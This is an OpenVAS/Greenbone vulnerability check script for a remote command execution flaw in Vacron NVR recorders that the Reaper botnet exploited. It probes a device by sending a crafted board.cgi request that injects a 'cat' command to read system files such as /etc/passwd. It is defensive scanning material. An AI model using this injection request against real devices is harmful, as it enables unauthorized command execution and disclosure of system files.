Vacron NVR RCE Vulnerability with remote code execution allows attackers to execute commands and view sensitive information. Exploited by IoT Botnet 'Reaper' in 2017
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:vacron:nvr";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.107187");
script_version("2023-07-25T05:05:58+0000");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2017-10-11 10:31:53 +0200 (Wed, 11 Oct 2017)");
script_name("Vacron NVR RCE Vulnerability");
script_tag(name:"summary", value:"Vacron NVR is prone to a remote code execution (RCE)
vulnerability.
This vulnerability was known to be exploited by the IoT Botnet 'Reaper' in 2017.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The vulnerability is located in the board.cgi due to non
sufficient sanitization of the input passed through the Get request.");
script_tag(name:"impact", value:"Remote attackers are able to execute remote command and view
sensitive information such as /etc/passwd.");
script_tag(name:"affected", value:"All versions of Vacron NVR.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_tag(name:"solution_type", value:"WillNotFix");
script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/3445");
script_xref(name:"URL", value:"http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/");
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("Copyright (C) 2017 Greenbone AG");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_dependencies("gb_vacron_nvr_detect.nasl", "os_detection.nasl");
script_mandatory_keys("vacron_nvr/installed");
script_require_ports("Services/www", 8080);
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if(!port = get_app_port(cpe: CPE))
exit(0);
if(!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if(dir == "/")
dir = "";
files = traversal_files();
foreach pattern(keys(files)) {
file = "/" + files[pattern];
url = dir + "/board.cgi?cmd=cat%20" + file;
if (http_vuln_check(port: port, url: url, pattern: pattern, check_header: TRUE)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);
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